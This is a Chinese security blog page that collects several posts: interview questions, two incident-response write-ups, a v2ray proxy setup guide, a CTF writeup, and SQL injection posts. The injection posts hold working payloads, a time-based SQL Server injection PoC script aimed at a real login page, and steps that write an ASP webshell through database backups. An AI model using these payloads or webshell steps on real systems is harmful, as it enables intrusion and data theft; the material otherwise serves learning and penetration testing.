欣海余诚's blog

习惯成自然


  • 首页

  • 归档

  • 标签

  • 分类

  • 留言

  • 关于

安全运营工程师面试问题汇总

发表于 2021-09-15 | 分类于 面经

以下是根据自己面试经验总结的一些大厂的面经,都是自己或朋友真实面过的问题。

Shopee SDLC

  • Web基础

    • https协议原理、非对称和对称算法距离,假设开发使用AES加密,你推荐哪个模式(GCM, 为什么不是CBC、ECB)
    • SQL宽字节注入、二次注入及防御(所有参数都可以预编译?);XSS如何防御、除盗cookie以外的利用方式
    • CSRF防御(只用Refferer行不行)
  • 渗透(红蓝对抗)

    • 信息收集(是否有非常规的方式)、web后台getshell方式、redis漏洞利用、linux提权、linux权限维持、windows痕迹清除
  • 安卓

    • 四大组件及对应安全问题
    • 抓包遇到客户端校验证书无法抓包问题如何解决(SSL Pinning)
    • 微信支付宝克隆漏洞
  • 分析场景安全

    • 一个上传文件功能的安全问题;列举两个解析漏洞;
    • 注册(手机号+验证码)、领取50优惠券、200-50的支付场景

微信支付 SDLC(朋友面的)

  1. 讲下https握手过程(必问,每个公司面试都问到了)
  2. 说下知道的加解密算法,并讲下使用场景以及安全算法,aes算法安全加密模式是哪个
  3. 手写Sql注入poc,延时注入payload
  4. ssrf漏洞形成原理、防御、怎么绕过
  5. xss 原理、危害、利用、防御,CSP有没有了解过
  6. dns rebiinding原理,ttl是什么,有什么可以利用的场景
  7. 越权漏洞形成原理、防御,怎么自动化测试越权漏洞
  8. api接口加密传输方案

字节 安全运营

  • weblogic反序列化详细原理,漏洞函数(拓展:fastjson、struts2漏洞原理,yso利用链)
  • SPF是什么(DNS记录的一种,标识了经过授权的电子邮件发送服务器,反垃圾邮件。电子邮件接收系统,会查询对应域名的 SPF 记录,检查邮件是否来自真正的授权过的邮件发送服务器。https://blog.csdn.net/blade2001/article/details/8509203)
  • nmap用法
  • wmic用法
  • 说一个遇到的应急响应流程
  • 域控验证方式(keberos和NTLM)
  • mac系统如何排查病毒
  • 宽字节绕过
  • 如果有一个框可以ping x.x.x.x你会做什么(cat /etc/passwd)etc和passwd被屏蔽了,有哪些方法可以执行cat /etc/passwd
  • 实现找到数组中不重复且最大的数

腾讯云 安全运营

  1. 假如内网有一台主机感染勒索病毒,你会怎么排查?
  2. 你们是怎么做漏洞扫描的?有无区分平面扫描如,应用、网络设备、数据库等,如何扫描的?
  3. 开发测试环境是否扫描?
  4. cmdb中未登记的资产如何扫描
  5. 内网网络划分,如何进行
  6. 如何用开源工具实现扫描?资产发现+插件更新
  7. 扫描最多的漏洞有哪些?(tomcat、weblogic等)tomcat有哪些利用方式?

OPPO 安全运营

  1. SQL注入如何发现,盲注类型,防御
  2. CSRF、SSRF原理和防御,token使用方法、原理
  3. 应急响应案例
  4. 绿盟和Nessus区别,优缺点。
  5. HIDS工作原理
  6. 你研究过最深入的漏洞是什么。

字节 安全运营(答到哪问到哪)

  1. 你开发的漏洞扫描工具的亮点在哪?扫出过哪些漏洞,举例说明
  2. ssrf无回显如何发现?(我回答的dnslog)dnslog服务器实现原理,用自己的dns服务器如何保证dns请求解析到自己的dns服务器?dns查询方式有哪些?除了dnslog外还有什么方法
  3. 如何排查webshell?除了web上传,有哪些方法植入webshell?上传webshell种马后把webshell删了,如何排查马?如何根据web日志定位到webshell(根据webshell名称、目录、上传时间)如果webshell特征不明显又如何定位?怎么定位木马文件,以及木马上传点
  4. hids告警,有哪些你觉得非常好的优化方案
  5. 说一个应急案例(提到了netstat命令),netstat命令如何定位到连接的进程,如何通过socket连接定位到进程ID?(底层原理)

腾讯游戏 应急响应 (着重对简历提问)

  1. 最近爆出的漏洞,原理、防御
  2. 你最熟悉的漏洞原理(sql注入),如果sql注入payload已经在服务器了,有什么防御手段?(RASP、数据库审计、ids告警?)
  3. nmap指纹识别原理(非字符串特征的识别)——开源软件原理
  4. hids规则优化(将告警压缩,分类处理)
  5. 黑客入侵进来,发现自己被发现,此时应该注意什么?(1.备份日志 2.止损 3.溯源 4. 清理)
    止损:切断网络,关闭服务,或停掉接口。此时再进行溯源
  6. 命令执行无法通过正则匹配正确参数,应该过滤哪些黑名单防止命令执行?
  7. exec和shell_exec区别
  8. 如何扫描可以覆盖面广

微众 安全运营

  • 反弹shell如何检测,检测原理
  • 常见绕waf的方式
  • 安全设备的策略有没有研究?红蓝对抗中蓝军绕过安全设备时,厂商不能及时响应,这段时间该怎么防御?
  • 漏洞爆发的空档期如何防御漏洞?比如fastjson
  • 当发现有未公开的0Day漏洞,或者刚公开但未修复的NDay漏洞被利用时,WAF可以在发现漏洞到用户修复漏洞这段空档期对漏洞增加虚拟补丁,抵挡黑客的攻击,防护网站安全。

平安 应急响应

  • 以前参加护网行动主要工作内容
  • 请详细描述最能体现你能力的、你主导的或参与的最少一次信息安全应急响应经历
  • 请枚举你对各种安全防护类产品的实际使用经验
  • 请说出不少于5种getshell方式
  • java中间件应用有哪几种? Java常见的高风险漏洞有哪些?
  • 监控到某台主机向外网请求dnslog,可能是什么漏洞导致的?
  • 可以通过什么规则监测账号异常
  • 在登录入口处可能存在哪些类型的安全漏洞如何突破边界防御?
  • 列举近三年比较热门的、开源或商业软件通用漏洞

一次安全事件应急响应

发表于 2021-09-07 | 分类于 应急响应

事件背景

9月3号下午,运维同事说有个合作厂商的云服务器端口被封禁了,让帮忙排查原因。服务器是在AWS上的,并且没有购买任何安全服务。

image

猜想

看截图应该是说出流量过大导致的端口被封,怀疑是被当成肉鸡DDoS别人。

所以先看下这台主机的出流量情况(当时没有截图,大概是下图这样- -。)

image

在前几天每天的固定时间段,出流量都达到了5G以上,这个比较可疑。跟第三方厂商确认了下他们这台主机部署的只是一个内部wiki系统,用不了这么多流量。

联想到最近爆出漏洞的Confluence也是常用于搭建wiki,很可能跟此次事件有关。

image

我9月2号得知这个漏洞,正好公司有用Confluence,于是第一时间帮公(自)司(己)检(娱)测(乐)一下,没想到直接秒杀!

image

足以见此漏洞的严重性!好在只是对内网开放,我也是第一时间通知了IT同事修复。

事件调查

登录主机,首先查看运行进程以及网络连接,发现confluence相关进程和端口。

image
image

access日志也的确存在漏洞利用行为,时间是9月2日07:27。

image

但是由于攻击是post请求,日志中不会记录数据包,所以无法知道攻击者执行的命令。那就手工一项项排查吧- -。

先根据漏洞利用时间,定位最近两天新增的文件(后来才知道当时命令敲错了,怪不得没有发现异常……):

1
find / -ctime 0 –o –ctime 1

直觉查看/tmp目录,一般这个目录权限无限制,黑客也常常使用:

image

看到xmrig我直呼好家伙,这台机器还被用来挖矿了?看了机器的CPU还真是,从9月2日起就飙升了。看来不止有一伙儿人进来过。

其它的几个可执行文件看起来也不是好东西,上传至微步检测一下:

image
image

Syn这个木马还会在开机启动项中创建一个后门DbSecuritySpt,这个名字伪装的还挺像样。

image

听运维同事说服务器SSH设置了白名单。这块重点查一下有无端口转发和反向连接,发现一个伪装成sshd服务的后门:

image

经微步确认是和前面的syn木马是同一个。

看到这么多后门木马感觉手工有可能排查不全,还是建议他们开通一个HIDS服务查杀一遍。过程中没有发现跟DDoS相关的木马,先将排查过程中发现恶意文件和进程汇总起来,发给运维同事操作,并持续关注CPU和网络的使用情况。

1
2
3
4
5
6
7
8
9
10
/etc/init.d/DbSecuritySpt
/tmp/syn
/tmp/syn.1
/tmp/syn.2
/tmp/xmrig
/tmp/xxxx.txt
/tmp/config.json
/tmp/log.txt
/usr/bin/.sshd
/tmp/moni.lod

最后顺手给了第三方厂商一个临时缓解Confluence漏洞的方法:https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html

总结

企业应该尽量将自己的Wiki知识库搭建在内网,或限制白名单IP访问。

centos+v2ray+nginx科学上网教程

发表于 2021-07-30 | 分类于 教程

安装nginx

1
2
3
4
5
6
7
yum install -y lrzsz vim git make tar gcc openssl-devel pcre-devel zlib-devel 
wget http://nginx.org/download/nginx-1.19.1.tar.gz
tar zvxf nginx-1.19.1.tar.gz
cd nginx-1.19.1
./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --with-stream
make && make install
ln -s /usr/local/nginx/sbin/nginx /usr/bin/nginx

安装v2ray

1
bash <(curl -L https://raw.githubusercontent.com/v2fly/fhs-install-v2ray/master/install-release.sh)

编辑/usr/local/etc/v2ray/config.json.

其中id参数可由客户端生成,也可用网上其他方式生成,只要服务端和客户端保持一致即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{
"log" : {
"access": "/var/log/v2ray/access.log",
"error": "/var/log/v2ray/error.log",
"loglevel": "warning"
},
"inbound": {
"port": 39127,
"listen": "127.0.0.1",
"protocol": "vmess",
"settings": {
"clients": [
{
"id": "x-x-x-x-x",
"level": 1,
"alterId": 64
}
]
},
"streamSettings":{
"network": "ws",
"wsSettings": {
"path": "/abc"
}
}
},
"outbound": {
"protocol": "freedom",
"settings": {}
},
"outboundDetour": [
{
"protocol": "blackhole",
"settings": {},
"tag": "blocked"
}
]
}

编写nginx配置文件/usr/local/nginx/conf/v2ray.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
server {
listen 80;
root /var/www/html/;
index index.html index.htm;
server_name www.xxx.com;
rewrite ^(.*)$ https://$host$1 permanent;
}
server {
listen 443 ssl;
root /var/www/html/;
index index.html index.htm;
server_name www.xxx.com;
ssl_certificate /etc/letsencrypt/live/www.xxx.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/www.xxx.com/privkey.pem;
ssl_protocols TLSv1.2;
ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4:!DH:!DHE;
location /PLMOKN {
proxy_redirect off;
proxy_pass http://127.0.0.1:39127;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $http_host;
access_log off;
}
}

在/usr/local/nginx/conf/nginx.conf中include进来v2ray.conf

1
2
3
4
http {
include mime.types;
include v2ray.conf;
...

安装ssl证书

安装之前确认nginx服务是关闭的,并且防火墙开放80/443:

1
2
3
4
5
6
7
[root@racknerd-82d3de certauto]# systemctl status firewalld.service
[root@racknerd-82d3de certauto]# firewall-cmd --zone=public --add-port=80/tcp --permanent
success
[root@racknerd-82d3de certauto]# firewall-cmd --zone=public --add-port=443/tcp --permanent
success
[root@racknerd-82d3de certauto]# firewall-cmd --reload
success

安装Certbot

1
2
3
4
5
6
yum install epel-release -y
yum install snapd
systemctl enable --now snapd.socket
ln -s /var/lib/snapd/snap /snap
snap install --classic certbot
ln -s /snap/bin/certbot /usr/bin/certbot

执行certbot安装证书命令

1
2
3
4
5
6
ln -s /usr/local/nginx/conf/* /etc/nginx/ (采取手动编译安装nginx的需要这一步,因为certbot默认校验/etc/nginx下的配置文件)
certbot certonly --email xxx@xxx.com -d www.xxx.com 邮箱和域名填写自己的

2 Spin 启动临时服务器
Y (Y)es/(N)o
Y (Y)es/(N)o

安装成功后显示证书文件地址,确保与v2ray.conf中的一致。

启动nginx和v2ray

1
2
3
nginx
systemctl enable v2ray
systemctl start v2ray

客户端配置

客户端下载:

https://github.com/2dust/v2rayN/releases

客户端配置:

选择,服务器->添加VMess服务器。地址填写域名、用户id可以自动生成,并将id填写到/usr/local/etc/v2ray/config.json文件id参数处、额外id填64、传输协议选ws、路径填/abc,与v2ray.conf文件中location处参数一致即可、其他的可照图片配置。点确定后即可自动启动。如果配置都没问题即可在信息处看到访问记录信息。

image

参考链接

  • v2ray+nginx科学上网教程-ubuntu
  • CertBot不再支持所有的操作系统

安全运营工程师面试知识点汇总

发表于 2021-07-06 | 分类于 面经

WEB

  • SQL注入
    • 分类
    • 手写mysql手注payload(union、报错、延时)
    • 如何区分后端数据库
    • oracle/sqlserver注入
    • 不同注入场景下注入
      • 宽字节注入
      • 二次注入
      • order by注入
      • limit 注入
      • table 名注入
      • update/insert 注入
    • 绕过方式
    • getshell
      • general_log
      • select into dump_file 有什么条件
      • 站库分离怎么办
    • 提权
      • UDF提权
    • 防御方式
      • 使用预编译是否可以防止所有sql注入?
  • XSS
    • 分类(反射、DOM、存储)
      • DOM 一定不经过服务器吗?
    • 防御方式(转义、CSP)
    • 相关概念(同源策略、Jsonp、CORS)
    • 利用方式(除盗cookie外)
  • CSRF
    • 防御方式
      • 使用Referer防御是否一定可靠?
  • SSRF
    • 绕过
      • host 绕过
      • ip进制绕过
      • 控制域名解析
      • 302跳转
      • dns rebinding (ttl)
    • 有回显利用
      • 端口扫描
      • 攻击redis
    • 无回显利用
      • dnslog
    • 防御
  • 文件上传
    • 绕过方式
    • 防御方式
  • 命令执行
    • php
      • 绕过姿势
      • shell_exec和exec的区别
    • Java反序列化
      • Shiro
        • 550
        • 721
        • 权限绕过
      • Fastjson
        • 漏洞原理
        • 黑名单检查函数
        • 利用链
      • Weblogic
        • 漏洞类型、原理
        • 漏洞函数
      • ysoserial
        • 原理
        • 链
      • SpEL/OGNL 表达式注入
  • 其它
    • XXE
    • https握手流程
    • 中间人攻击原理

渗透

  • 反弹shell
    • 类型
    • 检测原理
  • 正向shell
    • reg
    • ?
  • webshell
    • disable_functions绕过
    • 内存马
  • 权限维持
    • 系统后门
    • 无文件攻击
    • dll劫持,dll注入
  • 痕迹清理
    • C2隐藏
  • 钓鱼
    • 姿势

名词概念

  • ATT&CK
  • SPF
  • DMARC

应急

  • 病毒排查及溯源
  • Webshell排查及溯源

内网渗透

  • linux/Windows提权
  • 域认证方式
  • 域内委派
  • bypass uac 技巧,方法 ,原理
  • $IPC连接
  • wmic用法
  • psexec用法
  • 黄金票据
  • 白银票据
  • PTH/PTT
  • Windows defender安全机制

常见漏洞

  • Tomcat
  • Springboot
  • 最近曝光有重大影响的漏洞
  • nmap指纹识别原理及用法

场景

  • 注册场景
  • 登录场景
  • 活动场景
  • 支付场景

Hello World

发表于 2021-07-03

习惯成自然

Habit is secone nature.

一道入门mobile题writeup

发表于 2020-11-01 | 分类于 CTF

前言

作为一个mobile小白,花了一天时间才做出这道题,踩了很多坑的同时也收获了很多,特此记录一下。

题目描述

根据弹出的提示,并得到一串字符。

image

附件中是一个apk,打开后只有一个界面。

image

反编译apk

使用jadx-gui打开apk,看反编译代码:

image

先看入口MainActivity。使用DES解密函数解密一个base64字符串,将结果传入getflag函数(该函数是通过native接口调用的so库中的函数),对比getflag结果和在界面上输入的key值。如果不一致,显示“这是个陷阱,快醒醒!”,如果一致,提示“再使用函数获取 Flag”。

其中DES解密函数在CryptoUtil类:

image

乍一看,需要让这个判断相等,就能得到flag。现在回过头看,这里并没有获取flag的代码,仅仅是弹一个消息框。

apk中还有另外两个资源文件:Addon.jar和libnative.so。前者是MainApplication.java中使用,用于通过字节异或的方式生成CryptoUtil.jar,调用其中的DES解密方法进行解密。后者是通过native接口加载,调用其getflag方法。

对于一个小白来说,每个线索都不想放过,所以我针对Addon.jar一顿研究和操作,最后得到的代码是这样的:

image

WTF??!解密函数直接throw一个异常。上当的我这才发现事情不对,转去研究libnative.so。

逆向so库

ida打开,定位getFlag函数:

image

大致逻辑为:对一个字符串先进行base64解密,再进行AES解密,返回最后的result。中间穿插着各种无用的代码。。

字符串是已知的,双击texta就能刚看到:

image

接下来解决AES解密。

AES解密

首先要知道,AES解密需要有密文、密钥、初始向量、密钥长度、填充模式、加密模式。decryptAES256cbc函数已经告诉了密钥长度是256位(32字节)、加密模式cbc。初始向量iv双击也可以看到,仅剩密钥未知。

image

目光聚焦至v7变量。v7调用了GetStringUTFChars函数(该函数声明如下),获取了传入的参数a3的地址。

根据MainActivity中对getflag的调用,传入的参数是一串密文经过base64和DES解密后的值。盲猜这个解密后的密文就是这里的密钥。

image

对MainActivity中的密文进行base64+DES解密,得FebRuAry*29th^TweNty-0ne_hUndrEd,刚好32位。

image

参数齐了,在线AES解密一波,得flag。

image

参考链接

  • AES在线加密

  • Chapter 4: JNI Functions

  • Java native关键字

办公网挖矿病毒事件调查

发表于 2020-10-16 | 分类于 应急响应

事件背景

10月14日上午查看山石网科设备威胁日志时发现,ip为192.168.60.120的主机存在挖矿行为。

image

经在微步查询,178.128.242.134为矿池地址,确认为挖矿事件。

image

事件调查及处理

确认为挖矿事件后,安全第一时间联系IT同事定位192.168.60.120地址对应的员工,并封禁该员工的上网权限,联系该同事使用ESET对系统进行全盘杀毒。

据该员工反馈,192.168.60.120是申请用于测试的windows10台式机,为方便外网访问,在该电脑上安装了Zero Tier、花生壳等内网穿透软件,没有开启ESET杀毒软件,于近两日发现电脑运行缓慢。

10月15日,再次查看山石网科设备威胁日志时发现,192.168.60.120仍存在与矿池通信的行为。

image

于是安全直接联系该同事,对其电脑进行检查。

根据最早告警时间,定位到病毒运行时间为2020/10/12 02:05左右。搜索该时间段新创建的文件,发现有很多exe文件,经微步和VT扫描有四个文件均为病毒,已用杀毒软件进行隔离或删除。

查看windows系统日志,发现最早于2020/10/12 2:04分,电脑上安装了sqlbrowsers服务并设置为了自启动,对应的服务文件conhost.exe文件即为病毒文件。

image

Application日志中存在病毒启动记录:

image

查看windows安全日志,发现从2020/10/11 21:03起,有很多Logon登录审核失败的事件,可以看出是攻击者在尝试爆破用户名密码。

image

image

攻击者最终爆破成功,登录系统种植挖矿病毒。

这里爆破地址是127.0.0.1,原因是花生壳将电脑本地的3389端口转发至了公网,攻击者访问这个公网地址,相当于直接访问到了受害主机上的花生壳客户端,因此登录地址被识别为127.0.0.1。

事件结论

该员工通过在本机电脑上安装花生壳软件,将本地3389端口转发至花生壳公网地址,导致3389端口可被公网任意访问,最终导致被攻击者爆破口令登入系统,种植了挖矿病毒。

挖洞经历之SQLServer time-based注入

发表于 2020-09-22 | 分类于 WEB安全

使用xray扫出目标username参数存在sql注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /templates/index/hrlogon.do HTTP/1.1
Host: xxx.com
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xxx.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.com/templates/index/hrlogon.jsp
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: appdate=2020.09.21; bosflag=hl; JSESSIONID=13E35873CC53C0B4598A2FD66F8B348C; radius=14.103.218.82; uudid=cms1553b202-f079-153c-38ac-1c3dbb2135c5
Connection: close

logon.x=link&username=admin';waitfor/**/delay'0:0:3&password=test&appdate=2020-09-21

尝试payload:

1
2
admin';waitfor/**/delay'0:0:1
admin';waitfor/**/delay'0:0:3

返回的时间明显不一样。

猜测数据库名的长度:

1
2
3
admin';if(len(db_name())=4)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2
admin';if(len(db_name())=5)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2
admin';if(len(db_name())=6)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2

试了多次后基本判定存在注入无疑,并且数据库名长度为5。编写poc脚本,利用二分法猜解。

image

image

poc脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding=utf-8
import requests
import time

headers = {
'Origin':'http://xxx.com',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://xxx.com/templates/index/hrlogon.jsp'
}

url = 'http://xxx.com/templates/index/hrlogon.do'
def getDbLength():
for i in range(1, 20):
poc = "admin';if(len(db_name())=%d)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2" % (i, )
data = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc)
print(i, poc)
t1 = time.time()
r = requests.post(url, headers=headers, data=data)
t2 = time.time()
if t2-t1 >= 5:
print('The db length is: ', i)
break

def check(data):
t1 = time.time()
r = requests.post(url, headers=headers, data=data)
t2 = time.time()
if t2 - t1 >= 3:
return True
else:
return False

def getDbName():
length = 5 #getDbLength()
db_name = ''
for i in range(1, length + 1):
_min, _max = 0, 140
while _min <= _max:
middle = int((_min + _max) / 2)
poc1 = "admin';if(ascii(substring((db_name()),%d,1))=%d)waitfor/**/delay'0:0:3'/**/else waitfor/**/delay'0:0:1" % (
i, middle)
poc2 = "admin';if(ascii(substring((db_name()),%d,1))>%d)waitfor/**/delay'0:0:3'/**/else waitfor/**/delay'0:0:1" % (
i, middle)
data1 = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc1,)
data2 = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc2,)
if check(data1): # guess right
print(chr(middle))
db_name += chr(middle)
break

if check(data2):
print("目标字符 > ", middle)
_min = middle + 1

else:
print("目标字符 < ", middle)
_max = middle - 1
print(db_name)
getDbLength()
#getDbName()

提交SRC证明到这里即可~

SQL手注参考笔记

发表于 2020-09-19 | 分类于 WEB安全

MySQL

语法

1
2
3
4
5
6
7
if语句: if(1=1,1,0)
substr("abc", 1, 1) //a
select @@secure_file_priv; //查看文件导出权限
'/var/lib/mysql-files/'
select @@plugin_dir; //查看plugin目录
'/usr/lib64/mysql/plugin/'
select @@basedir; // 查看数据库目录

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bool型(无空格)
1'and'y'='f
1'and'y'='y
1'and ord(mid(user(),1,1))>1 and 'y'='y
搜索型:
%' and 1=1 and '%'='
%' and 1=2 and '%'='
报错注入
'and/**/extractvalue(1,concat(char(126),md5(1982470395)))and'
'and/**/extractvalue(1,concat(user()))and'
1'and/**/updatexml(1,concat(char(126),user()),1)and'
盲注(无空格)
1'and(select*from(select+sleep(2))a/**/union/**/select+1)='
注数据库长度:
1'and(select*from(select if(LENGTH(database())=%d,sleep(3),0))a)='
注数据库名:
1'and(select*from(select if(ASCII(SUBSTR(database(),1,1))=97,sleep(3),0))a)=''

盲注常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。

substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。。

MID(str, start [, Length]): 也是截取字符串,只用于mysql。

length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。

count([column]): 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。

if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。

ord('a') 转换为ascii码

left(str, len) 取str中前len个字符。select LEFT('123',2)结果为12

char(114) 数字转换为字符

regexp '正则表达式' 正则表达式匹配 select '2bc' REGEXP '^[a-z]'

SQL Server

基本信息

  • 端口号为 1433
  • 数据库后缀名 .mdf
  • 注释符 –
  • 支持堆叠查询:Y

权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db_owner权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

数据库

有6个默认的库,分别是4个系统数据库:

  • master
  • model
  • msdb
  • tempdb

和2个其他数据库:

  • ReportServer
  • ReportServerTempDB。

其中,model和tempdb是默认没有数据表的。

语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
select @@version;       #查询数据库的版本
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
if语句:sqlserver:if(1=1) (sql语句) else (sql语句)

#查询数据库
select count(name) from sysdatabases #查询数据库的个数
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息

#查询数据表
select * from sysobjects where type='u' #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的详细信息

#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test..user #查询test数据库user表的数据的条数
select * from test..user #查询test数据库user表的所有数据

Payload

手工注入payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
xray检验是否存在sql注入:
932'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1899274127')))>'0

boolean-based blind
Payload: centid=932' AND 6663=6663 AND 'dlfS'='dlfS

error-based
Payload: centid=932' AND 8657 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(106)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (8657=8657) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'YkOb'='YkOb
Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

stacked queries
centid=932';WAITFOR DELAY '0:0:5'--

time-based blind
centid=932';WAITFOR DELAY '0:0:5'--
admin'and(select+1)>0waitfor/**/delay'0:0:3
admin';waitfor/**/delay'0:0:3

获取当前user
932' and 1=(select user_name())--
获取当前数据库
932' and 1=(select db_name()) AND 'WckB'='WckB

获取第一个数据库(dbid=1获取第一个)
932' and 1=(select name from master.dbo.sysdatabases where dbid=1)--
注表名
932' and 1=(select top 1 name from where xtype=’u’)--
注列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))--
注数据
932' and 1=(select top 1 表名 from 字段名)--
查看是否有xp_cmdshell权限()
932' and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
932' and 0=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低

SqlServer getshell

LOG备份

利用条件:

  1. 至少DBO权限
  2. 前提得知绝对路径,并且可写
  3. 站库不分离
  4. 数据库必须被备份过一次
1
2
3
4
5
6
alter database test set RECOVERY FULL;
create table dbo.test2(a image);
insert into test..test2(a) values (0x3c256578656375746520726571756573742822786879632229253e); //<%execute request("xhyc")%>
backup database test to disk='d:\sqlserver.bak';
backup log test to disk='d:\shell.asp' with init;
drop table test..test2;

测试dbo权限写入成功:

image

差异备份

  1. 至少DBO权限
  2. 前提知道绝对路径,路径可写。
  3. HTTP 500错误不是自定义
  4. WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
  5. 数据量不能太大
1
2
3
4
5
backup database test to disk = 'd:\sqlserver.bak';
create table test..test2(a image);
insert into test..test2(a) values (0x3c256578656375746520726571756573742822786879632229253e); //<%execute request("xhyc")%>
backup database test to disk = 'D:\phpstudy_pro\WWW\shell3.asp' with differential , format;
drop table test..test2;

测试dbo权限写入成功:

image

提权

Sqlserver 大于2005版本默认关闭xp_cmdshell,无法执行系统cmd命令,需要安装cmd_shell组件。

db_owner、public权限提权:通过文件备份功能写入一句话木马

参考链接

  • SQLServer数据库及注入方法

Oralce

1
2
3
4
5
6
7
8
9
POST /middle.aspx HTTP/1.1
Host: library.ysu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 115
Content-Type: application/x-www-form-urlencoded
Referer: http://library.ysu.edu.cn/
Accept-Encoding: gzip

number=2'/**/and/**/(select decode(length(user),5,dbms_pipe.receive_message('RDS',10),0) from dual)='1&passwd=admin
1
2
3
4
> python sqlmap.py -r pack.txt -pnumber  -v --sql-shell
select banner from sys.v_$version [2]:
[*] Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
[*] PL/SQL Release 11.2.0.1.0 - Production

基本信息

  • Oracle不支持堆叠查询
  • DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。
  • 不同于其它数据库,oracle只会安装一个数据库,但是可以创建多个用户,将用户和表对应起来。
  • dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录。
  • 创建用户不指定表空间会把各种数据放到默认的空间里

